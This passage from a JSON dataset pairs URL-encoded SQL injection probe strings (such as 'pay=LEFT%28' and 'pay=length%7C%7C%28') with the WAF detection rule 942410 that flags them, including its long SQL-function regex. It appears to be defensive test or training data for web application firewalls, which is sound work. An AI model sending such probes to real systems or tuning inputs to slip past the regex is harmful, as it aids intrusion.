"urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=LEFT%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=length%7C%7C%21%21%24%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=length%7C%7C%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=length%3F%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=length%26%26%21%21%21%24%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=length%26%26%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=LENGTH%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=ln+%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=ln%29+%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 